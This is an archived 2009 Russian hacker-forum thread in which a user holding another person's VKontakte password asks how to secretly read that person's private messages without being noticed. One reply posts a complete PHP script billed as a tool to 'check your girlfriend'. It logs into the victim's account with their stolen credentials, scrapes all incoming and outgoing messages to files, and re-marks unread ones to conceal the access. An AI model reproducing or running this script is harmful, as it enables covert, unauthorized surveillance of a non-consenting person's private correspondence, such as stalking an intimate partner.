Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Есть пароль от Вконтакте. но нужно...

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Есть пароль от Вконтакте. но нужно...
Имя
Сообщение << Старые топики   Новые топики >>
Есть пароль от Вконтакте. но нужно... - 2009-01-12 00:32:51.856666   
StasOn777

Сообщений: 6
Оценки: 0
Присоединился: 2009-01-12 00:27:58.940000
чтобы все сообщения приходили мне на мыло. То есть пользователь сообщения удаляет после прочтения, поэтому немогу прочитать их… Возможно ли?
Post #: 1
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 00:56:03.320000   
}{roft

Сообщений: 159
Оценки: 0
Присоединился: 2007-11-08 17:18:30.900000
там можно добавлять несколько мыл…еще одно впиши - свое…пусть тебе приходит…
Post #: 2
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 01:01:47.126666   
StasOn777

Сообщений: 6
Оценки: 0
Присоединился: 2009-01-12 00:27:58.940000
и юзер ниче не пропалит?
Post #: 3
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 01:46:53.083333   
}{roft

Сообщений: 159
Оценки: 0
Присоединился: 2007-11-08 17:18:30.900000
Конечно пропалит если обратит пристальное внимание…
Post #: 4
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 04:14:12.510000   
Brabus625

Сообщений: 33
Оценки: 0
Присоединился: 2008-06-18 19:33:26.710000
А рвзве на мыло приходят сами сообщения? помоему туда приходят только уведомления о том что пришло сообщение и от кого??? И то если в настройках установить об уведомлениях.
Post #: 5
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 14:51:24.860000   
free_kode

Сообщений: 505
Оценки: 0
Присоединился: 2008-10-24 15:19:05.420000
на мыло приходят уведомления, причём только на одно. В настройках автоматом стоит получение уведомлений, сиди всегда на это акке=)
Post #: 6
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 23:20:03.723333   
N73

Сообщений: 386
Оценки: -20
Присоединился: 2008-07-22 01:27:13.093333
если есть пароль от мыла, ставь майл агент на телефон и сиди там8|  agent
вот только я так не пробовал[>:] не знаю будет ли на сыль переходить8| 
Post #: 7
. - 2009-01-13 11:50:54.190000   
grimreaper

Сообщений: 10
Оценки: 0
Присоединился: 2008-08-13 02:24:24.960000
.
Post #: 8
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-13 13:53:27.320000   
FrE

Сообщений: 534
Оценки: 0
Присоединился: 2008-07-19 04:52:02.756666
VK PM Reader_.:EnoT:.


[ Описание ]
Скрипт из серии "Проверь свою бабёнку"
Для работы скрипта нам соответственно нужны id, мыло и пароль жертвы. Скрипт в указанное время (если ставить на крон) или после нажатия на ссылку "Прочекать" идёт в личные сообщения, собирает их и сохраняет в файлы, отдельно входящие и отдельно исходящие. Те сообщения, которые ещё не были прочитаны помечаются как непрочитанные.

[ Требования к хосту ]
- PHP 5 и выше, LibCurl, set_time_limit = 0, Cron (опционально)

[ Работа скрипта ]
Сразу скажу, что при большом количестве сообщений (более одной страницы) скрипт начинает подглючивать, парсить не все сообщения, отмечать не все непрочитанные мессаги…виной тому сам Контакт, который ругается на слишком быстрые загрузки страниц (sleep() помогает, но с трудом).
Переменная $total_pages отвечает за количество страниц, с которых нужно собрать сообщения.
$sleep отвечает за таймаут между запросами…при тесте я ставил 10…более менее работало.
При первом запуске необходимо создать два файла логов, сделать это можно нажав на соответствующую ссылку. Для очистки файлов тоже самое)
В общем если скрипт будет интересен n-ному количеству народа, переделаю на работу через USER API или через durov.ru….посмотрим. А пока что, в таком сыром виде))

Исходный код:

&lt;?php /**************************************************************/ /* VK PM READER FOR VKONTAKTE.RU /* PM Reader - Скрипт для просмотра и сохранения личной /* переписки для Vkontakte.ru. /* Вам необходимо вписать данные жертвы в скрипт и в нужное /* время запускать или поставить на крон. /* Скрипт собирает все личные сообщения и сохраняет их в файл /* (входящие и исходящие). Сообщения, которые не были прочитаны /* помечаются как непрочитанные. /* Скрипт пока находится в стадии тестирования и доработки, /* поэтому хорошая работа пока не гарантируется /* /* === Сохраняйте файл в ANSI === /* /* Автор: EnoT_PoToSkUn (icq: 1700725) /**************************************************************/ $user['id'] = ''; // ID $user['mail'] = ''; // Email $user['pass'] = ''; // Password $total_pages = 5; // Максимальное кол-во страниц для парсинга $sleep = 3; // Время таймаута между парсингом header('Content-Type: text/html; charset=cp-1251'); header('Cache-Control: no-cache'); header('Pragma: no-cache'); set_time_limit(0); ignore_user_abort(1); ob_start('ob_gzhandler', 9); function cookies(){ global $user; return 'remixlang=0; remixchk=5; remixmid='.intval($user['id']).'; remixemail='.str_replace('@', '%40', $user['mail']).'; remixpass='.md5($user['pass']); } function regexp($str){ preg_match("#&lt;div\sclass='topTime'&gt;(.*)&lt;/div&gt;#i", $str, $date); preg_match('#name="to_reply"\svalue="([0-9]+)"#', $str, $mess_id); preg_match('#name="to_id"\svalue="([0-9]+)"#', $str, $from); preg_match('#name="title"\svalue="(.*)"#', $str, $subj); preg_match('#class="wrapped"&gt;(.*)&lt;/div&gt;#Us', $str, $text); return "\r\nmess_id:".$mess_id[1]."\r\ndate:".$date[1]."\r\nfrom:".$from[1]."\r\nsubj:".$subj[1]."\r\ntext:".trim($text[1]); } function history($file){ preg_match_all('#mess_id:([0-9]+)#', $file, $mess_id); preg_match_all('#date:(.*)#i', $file, $date); preg_match_all('#from:([0-9]+)#', $file, $from); preg_match_all('#subj:(.*)#', $file, $subj); preg_match_all('#text:(.*)#', $file, $text); return array($mess_id[1], $date[1], $from[1], $subj[1], $text[1]); } function noread_mark($array){ $post = array(); foreach($array as $arr_id =&gt; $arr){ list($id, $read) = $arr; if($read == 1){ $post[] = 'post'.$arr_id.'='.$id; }else continue; } $init = curl_init('http://vkontakte.ru/mail.php'); curl_setopt($init, CURLOPT_COOKIE, cookies()); curl_setopt($init, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)'); curl_setopt($init, CURLOPT_POST, 1); curl_setopt($init, CURLOPT_REFERER, 'http://vkontakte.ru/mail.php'); curl_setopt($init, CURLOPT_POSTFIELDS, 'act=msgNew&inOut=0&st=0&'.join('&', $post)); curl_exec($init); curl_close($init); } function parse($operate, $array = array(), $act=false){ global $sleep; $output = array(); $init = curl_multi_init(); $act = $act ? '&out=1' : '&out=0'; foreach($array as $stream_id =&gt; $ar_id){ $p = $ar_id.'00'; $url = $operate ? 'http://vkontakte.ru/mail.php?'.rand(1000,9999).$act.'&st='.$p : 'http://vkontakte.ru/mail.php?act=show&id='.$ar_id[0].$act; $cl[$stream_id] = curl_init($url); curl_setopt($cl[$stream_id], CURLOPT_COOKIE, cookies()); curl_setopt($cl[$stream_id], CURLOPT_RETURNTRANSFER, 1); curl_setopt($cl[$stream_id], CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)'); curl_setopt($cl[$stream_id], CURLOPT_REFERER, 'http://vkontakte.ru/mail.php'); curl_setopt($cl[$stream_id], CURLOPT_HEADER, 1); curl_multi_add_handle($init, $cl[$stream_id]); } do{ curl_multi_exec($init, $exec); sleep($sleep); }while($exec); foreach($cl as $id =&gt; $c){ $result[$id] = curl_multi_getcontent($c); curl_multi_remove_handle($init, $c); if(stripos($result[$id], 'HTTP/1.1 200 OK') !== false){ preg_match_all('#&lt;tr\s([class=\'newRow\']*)\sid="mess([0-9]+)"#i', $result[$id], $out, PREG_SET_ORDER); if($operate){ if($out) $output[] = $out; }else{ $output[] = regexp($result[$id]); } }else continue; } curl_multi_close($init); return $output; } ?&gt; &lt;html&gt;&lt;head&gt; &lt;title&gt;VK PM Reader by EnoT_PoToSkUn&lt;/title&gt; &lt;meta http-equiv="content-type" content="text/html; charset=cp-1251" /&gt; &lt;style&gt; &lt;!-- bоdу{ background-color: #EEEBE2; color: #082a48; } a:link,a:visited,a:active,a:hover{ color: #48749e; text-decoration: none; font-weight: bold; } #general{ background: url('http://vkontakte.ru/images/xhead2.gif') no-repeat center top; background-color: #f3f0e9; text-align: center; width: 680px; padding: 50px; padding-bottom: 10px; font-family: Verdana; font-size: 12px; border: 1px solid #46729c; } #menu{ background-color: #ebe2b6; text-align: center; border: 1px solid #d2c585; padding: 3px; } .headline{ color: #396590; font-size: 14px; margin:5px; font-weight: bold; } .blocks{ width: 80%; text-align: left; padding: 8px; margin: 8px; border: 1px solid #396590; } .status{ font-size: 12px; color: #555555; } --&gt; &lt;/style&gt; &lt;/head&gt;&lt;bоdу&gt; &lt;center&gt;&lt;div id="general"&gt; &lt;div id="menu"&gt;&lt;a href="?"&gt;Главная&lt;/a&gt; | &lt;a href="?act=check"&gt;Прочекать&lt;/a&gt; | &lt;a href="?act=input"&gt;Входящие&lt;/a&gt; | &lt;a href="?act=output"&gt;Исходящие&lt;/a&gt; | &lt;a href="?act=clean"&gt;Очистить/создать логи&lt;/a&gt;&lt;/div&gt; &lt;?php $parse_ids = array(); $array = array(); $pages = range(0, $total_pages); $act = !empty($_GET['act']) ? $_GET['act'] : ''; $open_in = file_exists('pm_in') && is_readable('pm_in') ? file_get_contents('pm_in') : false; $open_out = file_exists('pm_out') && is_readable('pm_out') ? file_get_contents('pm_out') : false; switch($act){ case 'check': /* INPUT MESSAGES */ echo '&lt;br/&gt;&lt;span class="headline"&gt;» Входящие «&lt;/span&gt;&lt;center&gt;&lt;br/&gt;'; if($open_in !== false){ $in = parse(true, $pages) or $in = array(''); foreach($in[0] as $mess_id){ $noread = !empty($mess_id[1]) ? 1 : 0; $array[] = array($mess_id[2], $noread); } if(!empty($array)){ preg_match_all('#mess_id:([0-9]+)#', $open_in, $ids); foreach($array as $val){ list($mid, $read) = $val; if(!in_array($mid, $ids[1])) $parse_ids[] = array($mid, $read); } sleep($sleep); $new_messages = !empty($parse_ids) ? parse(false, $parse_ids) : false; if($new_messages){ noread_mark($array); $to_write = is_writeable('pm_in') ? @fopen('pm_in', 'r+t') : false; if($to_write && fputs($to_write, join('', $new_messages)) !== false) echo '&lt;span class="status"&gt;Новых сообщений: &lt;b&gt;'.count($new_messages).'&lt;/b&gt;&lt;br/&gt;Данные успешно записаны в лог&lt;/span&gt;&lt;br/&gt;'; else echo '&lt;span class="status"&gt;Ошибка при записи данных.&lt;br/&gt;Возможно файл не существует или не читаем.&lt;/span&gt;&lt;br/&gt;'; @fclose($to_write); }else{ echo '&lt;span class="status"&gt;Новых сообщений нет&lt;/span&gt;&lt;br/&gt;'; } }else{ echo '&lt;span class="status"&gt;Нет новых сообщений&lt;br/&gt;Или проблемы с соединением с Контактом&lt;/span&gt;&lt;br/&gt;'; } }else{ echo '&lt;span class="status"&gt;Невозможно открыть файл с входящими сообщениями&lt;/span&gt;&lt;br/&gt;'; } /* OUTPUT MESSAGES */ echo '&lt;br/&gt;&lt;span class="headline"&gt;» Исходящие «&lt;/span&gt;&lt;center&gt;&lt;br/&gt;'; if($open_out !== false){ $out = parse(true, $pages, true) or $out = array(''); foreach($out[0] as $mess_id) $array[] = $mess_id[2]; if(!empty($array)){ preg_match_all('#mess_id:([0-9]+)#', $open_out, $ids); foreach($array as $val){ if(!in_array($val, $ids[1])) $parse_ids[] = array($val, 0); } sleep($sleep); $new_messages = !empty($parse_ids) ? parse(false, $parse_ids, true) : false; if($new_messages){ $to_write = is_writeable('pm_out') ? @fopen('pm_out', 'r+t') : false; if($to_write && fputs($to_write, join('', $new_messages)) !== false) echo '&lt;span class="status"&gt;Новых сообщений: &lt;b&gt;'.count($new_messages).'&lt;/b&gt;&lt;br/&gt;Данные успешно записаны в лог&lt;/span&gt;&lt;br/&gt;'; else echo '&lt;span class="status"&gt;Ошибка при записи данных.&lt;br/&gt;Возможно файл не существует или не читаем.&lt;/span&gt;&lt;br/&gt;'; @fclose($to_write); }else{ echo '&lt;span class="status"&gt;Новых сообщений нет&lt;/span&gt;&lt;br/&gt;'; } }else{ echo '&lt;span class="status"&gt;Нет новых сообщений&lt;br/&gt;Или проблемы с соединением с Контактом&lt;/span&gt;&lt;br/&gt;'; } }else{ echo '&lt;span class="status"&gt;Невозможно открыть файл с входящими сообщениями&lt;/span&gt;&lt;br/&gt;'; } break; case 'input': echo '&lt;br/&gt;&lt;span class="headline"&gt;» Входящие «&lt;/span&gt;&lt;center&gt;&lt;br/&gt;'; if($open_in && $in = history($open_in)){ list($mess_id, $date, $from, $subj, $text) = $in; echo 'Всего сообщений: '.count($mess_id).'&lt;br/&gt;'; foreach($mess_id as $key =&gt; $mid){ echo '&lt;div class="blocks"&gt;&lt;b&gt;Дата:&lt;/b&gt; '.$date[$key].'&lt;br/&gt;&lt;b&gt;'; echo 'От:&lt;/b&gt; &lt;a href="http://vkontakte.ru/id'.$from[$key].'" target="_blank"&gt;id'.$from[$key].'&lt;/a&gt;&lt;br/&gt;'; echo '&lt;b&gt;Тема:&lt;/b&gt; '.$subj[$key].'&lt;br/&gt;&lt;b&gt;Текст:&lt;/b&gt; '.$text[$key].'&lt;/div&gt;'; } }else{ echo '&lt;span class="status"&gt;Сообщений нет или файл не существует&lt;/span&gt;&lt;br/&gt;'; } break; case 'output': echo '&lt;br/&gt;&lt;span class="headline"&gt;» Исходящие «&lt;/span&gt;&lt;center&gt;&lt;br/&gt;'; if($open_out && $out = history($open_out)){ list($mess_id, $date, $from, $subj, $text) = $out; echo 'Всего сообщений: '.count($mess_id).'&lt;br/&gt;'; foreach($mess_id as $key =&gt; $mid){ echo '&lt;div class="blocks"&gt;&lt;b&gt;Дата:&lt;/b&gt; '.$date[$key].'&lt;br/&gt;&lt;b&gt;'; echo 'Кому:&lt;/b&gt; &lt;a href="http://vkontakte.ru/id'.$from[$key].'" target="_blank"&gt;id'.$from[$key].'&lt;/a&gt;&lt;br/&gt;'; echo '&lt;b&gt;Тема:&lt;/b&gt; '.$subj[$key].'&lt;br/&gt;&lt;b&gt;Текст:&lt;/b&gt; '.$text[$key].'&lt;/div&gt;'; } }else{ echo '&lt;span class="status"&gt;Сообщений нет или файл не существует&lt;/span&gt;&lt;br/&gt;'; } break; case 'clean': echo '&lt;br/&gt;&lt;span class="headline"&gt;» Исходящие «&lt;/span&gt;&lt;center&gt;&lt;br/&gt;'; echo '&lt;p align="center"&gt;&lt;a href="?act=clean&in"&gt;Очистить/создать файл для входящих сообщений&lt;/a&gt;&lt;br/&gt;'; echo '&lt;p align="center"&gt;&lt;a href="?act=clean&out"&gt;Очистить/создать файл для исходящих сообщений&lt;/a&gt;&lt;br/&gt;'; if(isset($_GET['in'])){ $open = @fopen('pm_in', 'w+t'); @fclose($open); header('location: ?act=clean'); die(); }elseif(isset($_GET['out'])){ $open1 = @fopen('pm_out', 'w+t'); @fclose($open1); header('location: ?act=clean'); die(); } break; default: echo '&lt;span class="headline"&gt;» Описание «&lt;/span&gt;&lt;center&gt;&lt;br/&gt;&lt;br/&gt;'; echo '&lt;div class="blocks"&gt;PM Reader - Скрипт для просмотра и сохранения личной переписки для Vkontakte.ru.&lt;br/&gt;'; echo 'Вам необходимо вписать данные жертвы в скрипт и в нужное время запускать или поставить на крон.&lt;br/&gt;'; echo 'Скрипт собирает все личные сообщения и сохраняет их в файл (входящие и исходящие). Сообщения, которые '; echo 'не были прочитаны помечаются как непрочитанные.&lt;br/&gt;Скрипт пока находится в стадии тестирования и '; echo 'доработки, поэтому хорошая работа пока не гарантируется.&lt;br/&gt;&lt;/div&gt;'; break; } flush(); ?&gt; &lt;/div&gt;&lt;br/&gt;&lt;a href="http://enot.freeroot.ru/"&gt;&lt;small&gt;© EnoT_PoToSkUn 2008&lt;/small&gt;&lt;/a&gt;&lt;/center&gt;&lt;/bоdу&gt;&lt;/html&gt;
Сохраняйте как ANSI
P.S. Понимаю что не совсем то, но всё же может пригодится;)

###########################
#Взято с forum.antichat.ru#
###########################
Post #: 9
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-13 14:51:10.660000   
MotoKiller

Сообщений: 1732
Оценки: 56
Присоединился: 2008-03-02 20:08:53.810000
Может через Qip.Online прокатит?
Post #: 10
RE: Есть пароль от Вконтакте. но нужно... - 2009-02-07 06:01:02.996666   
kateryn.kate

Сообщений: 1
Оценки: 0
Присоединился: 2009-02-07 03:33:36.550000
quote:

ORIGINAL: MotoKiller

Может через Qip.Online прокатит?

Прокатит если в скрипте разберёшься и сам все поправиш.   
Post #: 11
Страниц:  [1]
Все форумы >> [Для начинающих] >> Есть пароль от Вконтакте. но нужно...







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.